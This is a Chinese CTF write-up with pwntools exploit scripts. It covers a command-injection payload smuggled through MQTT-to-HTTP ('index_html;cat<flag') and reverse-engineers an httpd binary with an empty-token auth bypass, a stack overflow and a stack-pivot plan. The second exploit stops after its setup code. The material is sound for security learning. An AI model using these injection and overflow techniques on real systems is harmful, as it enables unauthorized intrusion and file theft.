第一次发送 GET /home/ctf/index_html;cat<flag ， cmd 变为 cat /home/ctf/index_html;cat<flag ，校验不通过

第二次发送 GET /home/ctf/index_html ，前段被覆盖后 cmd 还是 cat /home/ctf/index_html;cat<flag ，且校验通过， popen 执行 cat /home/ctf/index_html;cat<flag ，成功获取到 flag

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82


from pwn import *
import threading

context.log_level = 'debug'
context.arch = 'amd64'
context.os = 'linux'
context.terminal = ['tmux', 'splitw', '-h']

debug = 0

file = './pwn'
elf = ELF(file)
libc = ELF('./libc.so.6')
target = 'nc1.ctfplus.cn'
port = 41317


def encode_varint(n):
 res = b""
 while n > 0:
 byte = n & 0x7f
 n >>= 7
 if n > 0:
 byte |= 0x80
 res += bytes([byte])
 return res

def mqtt_connect(client_id=b"hacker"):
 payload = b"\x00\x04MQTT\x04\x02\x00\x3c" + struct.pack(">H", len(client_id)) + client_id
 return b"\x10" + encode_varint(len(payload)) + payload

def mqtt_publish(topic, msg, retain=True):
 flags = 0x31 if retain else 0x30
 payload = struct.pack(">H", len(topic)) + topic + msg
 return bytes([flags]) + encode_varint(len(payload)) + payload

def mqtt_subscribe(topic, pkt_id=1):
 payload = struct.pack(">H", pkt_id) + struct.pack(">H", len(topic)) + topic + b"\x00"
 return b"\x82" + encode_varint(len(payload)) + payload


if debug:
 p = remote('127.0.0.1', 9998)
else:
 p = remote(target, port)

io = p

def dbg(cmd = ''):
 if debug:
 gdb.attach(p, gdbscript = cmd)

def peek(num=4096):
 message = p.recv(num)
 p.unrecv(message)
 return message

s = lambda data :p.send(data)
sl = lambda data :p.sendline(data)
sa = lambda x, data :p.sendafter(x, data)
sla = lambda x, data :p.sendlineafter(x, data)
r = lambda num=4096 :p.recv(num)
ur = lambda x :p.unrecv(x)
pk = lambda num=4096 :peek(num)
rl = lambda num=4096 :p.recvline(num)
ru = lambda x :p.recvuntil(x)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4, b'\x00'))
uu64 = lambda data :u64(data.ljust(8, b'\x00'))
uru64 = lambda :uu64(ru('\x7f')[-6:])
leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name))))

def attack():
 s(mqtt_connect())
 s(mqtt_subscribe(b'HTTP'))
 payload = b'GET /home/ctf/index_html;cat<flag'
 s(mqtt_publish(b'HTTP', payload))
 payload = b'GET /home/ctf/index_html HTTP/1.1\r\nHost: x\r\nContentLength: 10\r\n'
 s(mqtt_publish(b'HTTP', payload))
 itr()

attack()

httpd

第一次做 httpd

还是难在逆向，，，

checksec

1
2
3
4
5
6
7
8


[*] '/home/RatherHard/CTF-pwn/PolarisCTF/httpd/httpd'
 Arch: amd64-64-little
 RELRO: Partial RELRO
 Stack: Canary found
 NX: NX enabled
 PIE: No PIE (0x400000)
 SHSTK: Enabled
 IBT: Enabled

好久没见过 no pie 的题目了

IDA

main

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73


void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
 int optval; // [rsp+Ch] [rbp-D4h] BYREF
 socklen_t addr_len; // [rsp+10h] [rbp-D0h] BYREF
 int fd; // [rsp+14h] [rbp-CCh]
 int v6; // [rsp+18h] [rbp-C8h]
 __pid_t v7; // [rsp+1Ch] [rbp-C4h]
 sockaddr addr; // [rsp+20h] [rbp-C0h] BYREF
 struct sockaddr v9; // [rsp+30h] [rbp-B0h] BYREF
 sigaction act; // [rsp+40h] [rbp-A0h] BYREF
 unsigned __int64 v11; // [rsp+D8h] [rbp-8h]

 v11 = __readfsqword(0x28u);
 optval = 1;
 fd = socket(2, 1, 0);
 if ( !fd )
 {
 perror("Socket failed");
 exit(1);
 }
 setsockopt(fd, 1, 2, &optval, 4u);
 addr.sa_family = 2;
 *(_DWORD *)&addr.sa_data[2] = 0;
 *(_WORD *)addr.sa_data = htons(0x270Fu);
 if ( bind(fd, &addr, 0x10u) < 0 )
 {
 perror("Bind failed");
 exit(1);
 }
 if ( listen(fd, 256) < 0 )
 {
 perror("Listen failed");
 exit(1);
 }
 act.sa_handler = (__sighandler_t)errormessage;
 sigemptyset(&act.sa_mask);
 act.sa_flags = 0;
 sigaction(11, &act, 0);
 sigaction(6, &act, 0);
 signal(17, (__sighandler_t)1);
 printf(format, 9999);
 init_admin_state();
 while ( 1 )
 {
 while ( 1 )
 {
 addr_len = 16;
 v6 = accept(fd, &v9, &addr_len);
 if ( v6 >= 0 )
 break;
 if ( *__errno_location() != 4 )
 perror("accept failed");
 }
 v7 = fork();
 if ( v7 >= 0 )
 {
 if ( !v7 )
 {
 close(fd);
 g_client_fd = v6;
 type_route(v6);
 close(v6);
 exit(0);
 }
 close(v6);
 }
 else
 {
 perror("fork failed");
 close(v6);
 }
 }
}

用 fork ，可以多次利用

type_route

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14


// Top-level request dispatcher: allocate request_t, parse one request, then branch to GET or POST handlers based on req->method.
void __fastcall type_route(int fd)
{
 request_t *s; // [rsp+18h] [rbp-8h]

 s = (request_t *)malloc(0x2A78u);
 memset(s, 0, sizeof(request_t));
 parse_rq(fd, s);
 if ( !strcmp(s->method, "GET") )
 handle_get(fd, s);
 if ( !strcmp(s->method, "POST") )
 handle_post(fd, s);
 free(s);
}

先 parse_rq 解析请求再处理

struct

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46


00000000 #pragma pack(push, 2)
00000000 struct http_header_t // sizeof=0x140
00000000 {
00000000 char name[64];
00000040 char value[256];
00000140 };
00000140 #pragma pack(pop)

00000000 #pragma pack(push, 2)
00000000 struct request_t // sizeof=0x2A78
00000000 {
00000000 char method[16];
00000010 char path[256];
00000110 char version[16];
00000120 int header_count;
00000124 http_header_t headers[32];
00002924 char cookie_key[64];
00002964 char cookie_value[256];
00002A64 int _pad;
00002A68 char *post_body;
00002A70 size_t content_length;
00002A78 };
00002A78 #pragma pack(pop)

00000000 #pragma pack(push, 2)
00000000 struct post_field_t // sizeof=0x2010
00000000 {
00000000 char key[4096];
00001000 size_t key_len;
00001008 char value[4096];
00002008 size_t value_len;
00002010 };
00002010 #pragma pack(pop)

00000000 #pragma pack(push, 2)
00000000 struct admin_info_t // sizeof=0x100
00000000 {
00000000 char username[32];
00000020 char password[32];
00000040 char token[64];
00000080 char route_name[32];
000000A0 char ip[32];
000000C0 char subnet_mask[32];
000000E0 char gateway[32];
00000100 };
00000100 #pragma pack(pop)

parse_rq

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67


// Parse one HTTP request from the client socket into request_t. For POST, it copies the body once based on Content-Length.
unsigned __int64 __fastcall parse_rq(int fd, request_t *req)
{
 size_t v2; // rax
 char *haystack; // [rsp+10h] [rbp-1070h]
 char *nptr; // [rsp+18h] [rbp-1068h]
 char *end; // [rsp+28h] [rbp-1058h]
 char *begin; // [rsp+30h] [rbp-1050h]
 char *linend; // [rsp+30h] [rbp-1050h]
 char *tip; // [rsp+40h] [rbp-1040h]
 const char *s; // [rsp+50h] [rbp-1030h]
 char *eq; // [rsp+58h] [rbp-1028h]
 char *tkend; // [rsp+68h] [rbp-1018h]
 _QWORD buf[513]; // [rsp+70h] [rbp-1010h] BYREF
 unsigned __int64 v14; // [rsp+1078h] [rbp-8h]

 v14 = __readfsqword(0x28u);
 memset(buf, 0, 0x1000u);
 read(fd, buf, 0xFFFu);
 end = strstr((const char *)buf, "\r\n\r\n");
 begin = strstr((const char *)buf, "\r\n");
 *begin = 0;
 __isoc99_sscanf(buf, "%15s %255s %15s", req, req->path, req->version);// Head
 for ( haystack = begin + 2; haystack < end; haystack = linend + 2 )
 {
 linend = strstr(haystack, "\r\n");
 *linend = 0;
 tip = strchr(haystack, ':');
 if ( tip )
 {
 *tip = 0;
 for ( nptr = tip + 1; *nptr == ' '; ++nptr )
 ;
 if ( req->header_count <= 31 )
 {
 strncpy(req->headers[req->header_count].name, haystack, 0x3Fu);
 strncpy(req->headers[req->header_count].value, nptr, 0xFFu);
 ++req->header_count;
 }
 if ( !strcmp(haystack, "Content-Length") )
 req->content_length = atoi(nptr);
 if ( !strcmp(haystack, "Cookie") )
 {
 s = strstr(nptr, "token");
 if ( s )
 {
 eq = strchr(s, '=');
 *eq = 0;
 tkend = strchr(eq + 1, ';');
 if ( tkend )
 *tkend = 0;
 strncpy(req->cookie_key, s, 0x3Fu);
 strncpy(req->cookie_value, eq + 1, 0xFFu);
 }
 }
 }
 }
 if ( !strcmp(req->method, "POST") )
 {
 req->post_body = (char *)malloc(req->content_length + 3);
 v2 = malloc_usable_size(req->post_body);
 memset(req->post_body, 0, v2);
 memcpy(req->post_body, end + 4, req->content_length);
 memcpy(&req->post_body[req->content_length], "\r\n", 2u);
 }
 return v14 - __readfsqword(0x28u);
}

正常的解析请求

请求头会解析 Cookie 的 token 字段

handle_get

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201


// GET route handler. Uses an 8-byte stack buffer for the normalized path, serves a few fixed pages, and exposes an unauthenticated /getCookie route.
unsigned __int64 __fastcall handle_get(unsigned int fd, request_t *req)
{
 int v2; // eax
 int v3; // eax
 int v4; // eax
 int v5; // eax
 char s1[8]; // [rsp+10h] [rbp-210h] BYREF
 __int64 v8; // [rsp+18h] [rbp-208h]
 __int64 v9; // [rsp+20h] [rbp-200h]
 __int64 v10; // [rsp+28h] [rbp-1F8h]
 __int64 v11; // [rsp+30h] [rbp-1F0h]
 __int64 v12; // [rsp+38h] [rbp-1E8h]
 __int64 v13; // [rsp+40h] [rbp-1E0h]
 __int64 v14; // [rsp+48h] [rbp-1D8h]
 __int64 v15; // [rsp+50h] [rbp-1D0h]
 __int64 v16; // [rsp+58h] [rbp-1C8h]
 __int64 v17; // [rsp+60h] [rbp-1C0h]
 __int64 v18; // [rsp+68h] [rbp-1B8h]
 __int64 v19; // [rsp+70h] [rbp-1B0h]
 __int64 v20; // [rsp+78h] [rbp-1A8h]
 __int64 v21; // [rsp+80h] [rbp-1A0h]
 __int64 v22; // [rsp+88h] [rbp-198h]
 __int64 v23; // [rsp+90h] [rbp-190h]
 __int64 v24; // [rsp+98h] [rbp-188h]
 __int64 v25; // [rsp+A0h] [rbp-180h]
 __int64 v26; // [rsp+A8h] [rbp-178h]
 __int64 v27; // [rsp+B0h] [rbp-170h]
 __int64 v28; // [rsp+B8h] [rbp-168h]
 __int64 v29; // [rsp+C0h] [rbp-160h]
 __int64 v30; // [rsp+C8h] [rbp-158h]
 __int64 v31; // [rsp+D0h] [rbp-150h]
 __int64 v32; // [rsp+D8h] [rbp-148h]
 __int64 v33; // [rsp+E0h] [rbp-140h]
 __int64 v34; // [rsp+E8h] [rbp-138h]
 __int64 v35; // [rsp+F0h] [rbp-130h]
 __int64 v36; // [rsp+F8h] [rbp-128h]
 __int64 v37; // [rsp+100h] [rbp-120h]
 __int64 v38; // [rsp+108h] [rbp-118h]
 char s[8]; // [rsp+110h] [rbp-110h] BYREF
 __int64 v40; // [rsp+118h] [rbp-108h]
 __int64 v41; // [rsp+120h] [rbp-100h]
 __int64 v42; // [rsp+128h] [rbp-F8h]
 __int64 v43; // [rsp+130h] [rbp-F0h]
 __int64 v44; // [rsp+138h] [rbp-E8h]
 __int64 v45; // [rsp+140h] [rbp-E0h]
 __int64 v46; // [rsp+148h] [rbp-D8h]
 __int64 v47; // [rsp+150h] [rbp-D0h]
 __int64 v48; // [rsp+158h] [rbp-C8h]
 __int64 v49; // [rsp+160h] [rbp-C0h]
 __int64 v50; // [rsp+168h] [rbp-B8h]
 __int64 v51; // [rsp+170h] [rbp-B0h]
 __int64 v52; // [rsp+178h] [rbp-A8h]
 __int64 v53; // [rsp+180h] [rbp-A0h]
 __int64 v54; // [rsp+188h] [rbp-98h]
 __int64 v55; // [rsp+190h] [rbp-90h]
 __int64 v56; // [rsp+198h] [rbp-88h]
 __int64 v57; // [rsp+1A0h] [rbp-80h]
 __int64 v58; // [rsp+1A8h] [rbp-78h]
 __int64 v59; // [rsp+1B0h] [rbp-70h]
 __int64 v60; // [rsp+1B8h] [rbp-68h]
 __int64 v61; // [rsp+1C0h] [rbp-60h]
 __int64 v62; // [rsp+1C8h] [rbp-58h]
 __int64 v63; // [rsp+1D0h] [rbp-50h]
 __int64 v64; // [rsp+1D8h] [rbp-48h]
 __int64 v65; // [rsp+1E0h] [rbp-40h]
 __int64 v66; // [rsp+1E8h] [rbp-38h]
 __int64 v67; // [rsp+1F0h] [rbp-30h]
 __int64 v68; // [rsp+1F8h] [rbp-28h]
 __int64 v69; // [rsp+200h] [rbp-20h]
 __int64 v70; // [rsp+208h] [rbp-18h]
 unsigned __int64 v71; // [rsp+218h] [rbp-8h]

 v71 = __readfsqword(0x28u);
 *(_QWORD *)s1 = 0;
 v8 = 0;
 v9 = 0;
 v10 = 0;
 v11 = 0;
 v12 = 0;
 v13 = 0;
 v14 = 0;
 v15 = 0;
 v16 = 0;
 v17 = 0;
 v18 = 0;
 v19 = 0;
 v20 = 0;
 v21 = 0;
 v22 = 0;
 v23 = 0;
 v24 = 0;
 v25 = 0;
 v26 = 0;
 v27 = 0;
 v28 = 0;
 v29 = 0;
 v30 = 0;
 v31 = 0;
 v32 = 0;
 v33 = 0;
 v34 = 0;
 v35 = 0;
 v36 = 0;
 v37 = 0;
 v38 = 0;
 extract_path_no_query(req->path, s1);
 if ( !strcmp(s1, "/index") || !strcmp(s1, "/") )
 {
 LOBYTE(v2) = judge_token(req);
 if ( v2 )
 {
 serve_static_page(fd, "index.html", 200u);
 return v71 - __readfsqword(0x28u);
 }
LABEL_19:
 send_redirect(fd, "/login", 0);
 return v71 - __readfsqword(0x28u);
 }
 if ( !strcmp(s1, "/login") )
 {
 LOBYTE(v3) = judge_token(req);
 if ( v3 )
 send_redirect(fd, "/index", 0);
 else
 serve_static_page(fd, "login.html", 0xC8u);
 }
 else
 {
 if ( !strcmp(s1, "/logout") )
 {
 *(_QWORD *)s = 0;
 v40 = 0;
 v41 = 0;
 v42 = 0;
 v43 = 0;
 v44 = 0;
 v45 = 0;
 v46 = 0;
 v47 = 0;
 v48 = 0;
 v49 = 0;
 v50 = 0;
 v51 = 0;
 v52 = 0;
 v53 = 0;
 v54 = 0;
 v55 = 0;
 v56 = 0;
 v57 = 0;
 v58 = 0;
 v59 = 0;
 v60 = 0;
 v61 = 0;
 v62 = 0;
 v63 = 0;
 v64 = 0;
 v65 = 0;
 v66 = 0;
 v67 = 0;
 v68 = 0;
 v69 = 0;
 v70 = 0;
 snprintf(s, 0x100u, "token=%s; Max-Age=0;", g_admin->token);
 memset(g_admin->token, 0, sizeof(g_admin->token));
 send_redirect(fd, "/login", s);
 return v71 - __readfsqword(0x28u);
 }
 if ( !strcmp(s1, "/resetPasswd") )
 {
 LOBYTE(v4) = judge_token(req);
 if ( v4 )
 {
 serve_static_page(fd, "reset_passwd.html", 0xC8u);
 return v71 - __readfsqword(0x28u);
 }
 goto LABEL_19;
 }
 if ( !strcmp(s1, "/config") )
 {
 LOBYTE(v5) = judge_token(req);
 if ( v5 )
 {
 serve_static_page(fd, "config.html", 0xC8u);
 return v71 - __readfsqword(0x28u);
 }
 goto LABEL_19;
 }
 if ( !strcmp(s1, "/getCookie") )
 {
 generate_session_token((__int64)g_admin->token);
 snprintf(s, 0x100u, "token=%s;", g_admin->token);
 send_redirect(fd, "/login", s);
 }
 else
 {
 serve_static_page(fd, "404.html", 0x194u);
 }
 }
 return v71 - __readfsqword(0x28u);
}

全是静态页面，，，没啥用

但是 serve_static_page 这个函数有点意思，如果能劫持他的参数，就可以让它回弹目录下的 flag 文件

handle_post

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111


// POST route handler. Supports /login, /resetPasswd, and /config; all non-login actions require a valid token.
unsigned __int64 __fastcall handle_post(unsigned int fd, request_t *req)
{
 int v2; // eax
 int v3; // eax
 char s1[8]; // [rsp+50h] [rbp-110h] BYREF
 __int64 v6; // [rsp+58h] [rbp-108h]
 __int64 v7; // [rsp+60h] [rbp-100h]
 __int64 v8; // [rsp+68h] [rbp-F8h]
 __int64 v9; // [rsp+70h] [rbp-F0h]
 __int64 v10; // [rsp+78h] [rbp-E8h]
 __int64 v11; // [rsp+80h] [rbp-E0h]
 __int64 v12; // [rsp+88h] [rbp-D8h]
 __int64 v13; // [rsp+90h] [rbp-D0h]
 __int64 v14; // [rsp+98h] [rbp-C8h]
 __int64 v15; // [rsp+A0h] [rbp-C0h]
 __int64 v16; // [rsp+A8h] [rbp-B8h]
 __int64 v17; // [rsp+B0h] [rbp-B0h]
 __int64 v18; // [rsp+B8h] [rbp-A8h]
 __int64 v19; // [rsp+C0h] [rbp-A0h]
 __int64 v20; // [rsp+C8h] [rbp-98h]
 __int64 v21; // [rsp+D0h] [rbp-90h]
 __int64 v22; // [rsp+D8h] [rbp-88h]
 __int64 v23; // [rsp+E0h] [rbp-80h]
 __int64 v24; // [rsp+E8h] [rbp-78h]
 __int64 v25; // [rsp+F0h] [rbp-70h]
 __int64 v26; // [rsp+F8h] [rbp-68h]
 __int64 v27; // [rsp+100h] [rbp-60h]
 __int64 v28; // [rsp+108h] [rbp-58h]
 __int64 v29; // [rsp+110h] [rbp-50h]
 __int64 v30; // [rsp+118h] [rbp-48h]
 __int64 v31; // [rsp+120h] [rbp-40h]
 __int64 v32; // [rsp+128h] [rbp-38h]
 __int64 v33; // [rsp+130h] [rbp-30h]
 __int64 v34; // [rsp+138h] [rbp-28h]
 __int64 v35; // [rsp+140h] [rbp-20h]
 __int64 v36; // [rsp+148h] [rbp-18h]
 unsigned __int64 v37; // [rsp+158h] [rbp-8h]

 v37 = __readfsqword(0x28u);
 *(_QWORD *)s1 = 0;
 v6 = 0;
 v7 = 0;
 v8 = 0;
 v9 = 0;
 v10 = 0;
 v11 = 0;
 v12 = 0;
 v13 = 0;
 v14 = 0;
 v15 = 0;
 v16 = 0;
 v17 = 0;
 v18 = 0;
 v19 = 0;
 v20 = 0;
 v21 = 0;
 v22 = 0;
 v23 = 0;
 v24 = 0;
 v25 = 0;
 v26 = 0;
 v27 = 0;
 v28 = 0;
 v29 = 0;
 v30 = 0;
 v31 = 0;
 v32 = 0;
 v33 = 0;
 v34 = 0;
 v35 = 0;
 v36 = 0;
 extract_path_no_query(req->path, s1);
 if ( !strncmp(s1, "/login", 6u) )
 {
 if ( (unsigned int)judgeuser(req, g_admin) )
 {
 send_http_response(fd, 200, "application/json", "{\"authLogin\" : 1}");
 return v37 - __readfsqword(0x28u);
 }
LABEL_16:
 send_http_response(fd, 200, "application/json", "{\"authLogin\" : 0}");
 return v37 - __readfsqword(0x28u);
 }
 if ( !strcmp(s1, "/resetPasswd") )
 {
 LOBYTE(v2) = judge_token(req);
 if ( !v2 )
 goto LABEL_16;
 if ( (unsigned int)reset_password(req, g_admin) )
 send_http_response(fd, 200, "application/json", "{\"reset\" : 1}");
 else
 send_http_response(fd, 200, "application/json", "{\"reset\" : 0}");
 }
 else
 {
 if ( strcmp(s1, "/config") )
 {
 serve_static_page(fd, "404.html", 0x194u);
 return v37 - __readfsqword(0x28u);
 }
 LOBYTE(v3) = judge_token(req);
 if ( !v3 )
 goto LABEL_16;
 if ( (unsigned int)set_config(req, g_admin) )
 send_http_response(fd, 200, "application/json", "{\"setInfo\" : 1}");
 else
 send_http_response(fd, 200, "application/json", "{\"setInfo\" : 0}");
 }
 return v37 - __readfsqword(0x28u);
}

想要访问页面并使用下层函数需要通过 judge_token ，然后惊讶地发现最开始 init 的时候 token 是空的，在 Cookie 中将 token 设定为空即可绕过鉴权

set_config

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57


__int64 __fastcall set_config(request_t *req, admin_info_t *admin)
{
 __int64 v3; // rbx
 __int64 v4; // rbx
 __int64 v5; // rbx
 __int64 v6; // rbx
 __int64 v7; // rbx
 __int64 v8; // rbx
 __int64 v9; // rbx
 __int64 v10; // rbx
 post_field_t *out_field; // [rsp+10h] [rbp-B0h] BYREF
 post_field_t *fields; // [rsp+18h] [rbp-A8h]
 _QWORD dest[4]; // [rsp+20h] [rbp-A0h] BYREF
 _QWORD v14[4]; // [rsp+40h] [rbp-80h] BYREF
 _QWORD v15[4]; // [rsp+60h] [rbp-60h] BYREF
 _QWORD v16[7]; // [rsp+80h] [rbp-40h] BYREF

 v16[5] = __readfsqword(0x28u);
 fields = make_post_ptr(req);
 if ( !(unsigned int)searchtok("route_name", fields, &out_field) )
 return 0;
 memcpy(dest, out_field->value, out_field->value_len);
 if ( !(unsigned int)searchtok("ip", fields, &out_field) )
 return 0;
 memcpy(v14, out_field->value, out_field->value_len);
 if ( !(unsigned int)searchtok("subnet_mask", fields, &out_field) )
 return 0;
 memcpy(v15, out_field->value, out_field->value_len);
 if ( !(unsigned int)searchtok("gateway", fields, &out_field) )
 return 0;
 memcpy(v16, out_field->value, out_field->value_len);
 v3 = dest[1];
 *(_QWORD *)admin->route_name = dest[0];
 *(_QWORD *)&admin->route_name[8] = v3;
 v4 = dest[3];
 *(_QWORD *)&admin->route_name[16] = dest[2];
 *(_QWORD *)&admin->route_name[24] = v4;
 v5 = v14[1];
 *(_QWORD *)admin->ip = v14[0];
 *(_QWORD *)&admin->ip[8] = v5;
 v6 = v14[3];
 *(_QWORD *)&admin->ip[16] = v14[2];
 *(_QWORD *)&admin->ip[24] = v6;
 v7 = v15[1];
 *(_QWORD *)admin->subnet_mask = v15[0];
 *(_QWORD *)&admin->subnet_mask[8] = v7;
 v8 = v15[3];
 *(_QWORD *)&admin->subnet_mask[16] = v15[2];
 *(_QWORD *)&admin->subnet_mask[24] = v8;
 v9 = v16[1];
 *(_QWORD *)admin->gateway = v16[0];
 *(_QWORD *)&admin->gateway[8] = v9;
 v10 = v16[3];
 *(_QWORD *)&admin->gateway[16] = v16[2];
 *(_QWORD *)&admin->gateway[24] = v10;
 return 1;
}

这个 httpd 的风险函数挺多的，由于 value_len 可以自行指定，因此存在栈溢出漏洞

parse_post_fields

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36


// Split application/x-www-form-urlencoded body into up to 20 post_field_t entries, URL-decoding both key and value.
unsigned __int64 __fastcall parse_post_fields(char *body, post_field_t *fields)
{
 unsigned __int64 result; // rax
 int i; // [rsp+18h] [rbp-48h]
 char *line_cur; // [rsp+20h] [rbp-40h]
 char *s1; // [rsp+28h] [rbp-38h]
 char *j; // [rsp+30h] [rbp-30h]
 _BYTE *s; // [rsp+48h] [rbp-18h]

 result = (unsigned __int64)body;
 line_cur = body;
 for ( i = 0; i <= 19; ++i )
 {
 result = (unsigned __int8)*line_cur;
 if ( (_BYTE)result == '\n' )
 break;
 for ( s1 = line_cur; *s1 != '&' && strncmp(s1, "\r\n", 2u); ++s1 )
 ;
 for ( j = line_cur; *j != '=' && strncmp(j, "\r\n", 2u); ++j )
 ;
 if ( *j == '=' )
 {
 s = malloc(0x1000u);
 memset(s, 0, 0x1000u);
 memcpy(s, line_cur, (int)j - (int)line_cur);
 fields[i].key_len = (size_t)url_decode_component(fields[i].key, s);
 memcpy(s, j + 1, (int)s1 - ((int)j + 1));
 fields[i].value_len = (size_t)url_decode_component(fields[i].value, s);
 free(s);
 }
 result = (unsigned __int64)(s1 + 1);
 line_cur = s1 + 1;
 }
 return result;
}

POST body 的格式是 key1=keyvalue1&key2=keyvalue2…

url_decode_component

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46


_BYTE *__fastcall url_decode_component(_BYTE *a1, _BYTE *a2)
{
 _BYTE *v2; // rax
 _BYTE *v3; // rax
 _BYTE *v4; // rdx
 _BYTE *v5; // rax
 _BYTE *v6; // rdx
 _BYTE *v7; // rax
 int v9; // [rsp+18h] [rbp-18h]
 int v10; // [rsp+1Ch] [rbp-14h]
 _BYTE *v11; // [rsp+20h] [rbp-10h]

 v11 = a1;
 while ( *a2 )
 {
 if ( *a2 == '+' )
 {
 v2 = v11++;
 *v2 = ' ';
 ++a2;
 }
 else if ( *a2 == '%' )
 {
 if ( !a2[1] || !a2[2] || (v9 = hex_to_nibble(a2[1]), v10 = hex_to_nibble(a2[2]), v9 == -1) || v10 == -1 )
 {
 v4 = a2++;
 v5 = v11++;
 *v5 = *v4;
 }
 else
 {
 v3 = v11++;
 *v3 = v10 | (16 * v9);
 a2 += 3;
 }
 }
 else
 {
 v6 = a2++;
 v7 = v11++;
 *v7 = *v6;
 }
 }
 *v11 = 0;
 return (_BYTE *)(v11 - a1);
}

解析 url

攻击思路

唯一的漏洞是 setconfig 函数的栈溢出

利用这个栈溢出我们可以实现 canary 的爆破和 stack 的爆破

我们希望最终能劫持 serve_static_page 来完成读取 flag 的任务

要怎么做呢？请看汇编：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


.text:0000000000402BDB endbr64
.text:0000000000402BDF push rbp
.text:0000000000402BE0 mov rbp, rsp
.text:0000000000402BE3 sub rsp, 30h
.text:0000000000402BE7 mov [rbp+var_24], edi
.text:0000000000402BEA mov [rbp+filename], rsi
.text:0000000000402BEE mov [rbp+var_28], edx
.text:0000000000402BF1 mov rax, [rbp+filename]
.text:0000000000402BF5 lea rdx, modes ; "r"
.text:0000000000402BFC mov rsi, rdx ; modes
.text:0000000000402BFF mov rdi, rax ; filename
.text:0000000000402C02 call _fopen

我们可以通过栈迁移到栈上去布置 [rbp+var_24] | [rbp+filename] | [rbp+var_28] 然后 rip 跳到 402BF5 ，这样就相当于劫持了 serve_static_page 的参数

然后就可以读取 flag 啦

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113


from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
context.os = 'linux'
context.terminal = ['tmux', 'splitw', '-h']

debug = 1

file = './httpd'
elf = ELF(file)

target = '60.205.163.215'
port = 13774

def conn():
 if debug:
 return remote('127.0.0.1', 9999)
 else:
 return remote(target, port)

io = p = None

def dbg(cmd = ''):
 if debug:
 gdb.attach(p, gdbscript = cmd)

s = lambda data :p.send(data)
sl = lambda data :p.sendline(data)
sa = lambda x, data :p.sendafter(x, data)
sla = lambda x, data :p.sendlineafter(x, data)
r = lambda num=4096 :p.recv(num)
rl = lambda num=4096 :p.recvline(num)
ru = lambda x :p.recvuntil(x)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4, b'\x00'))
uu64 = lambda data :u64(data.ljust(8, b'\x00'))
uru64 = lambda :uu64(ru('\x7f')[-6:])
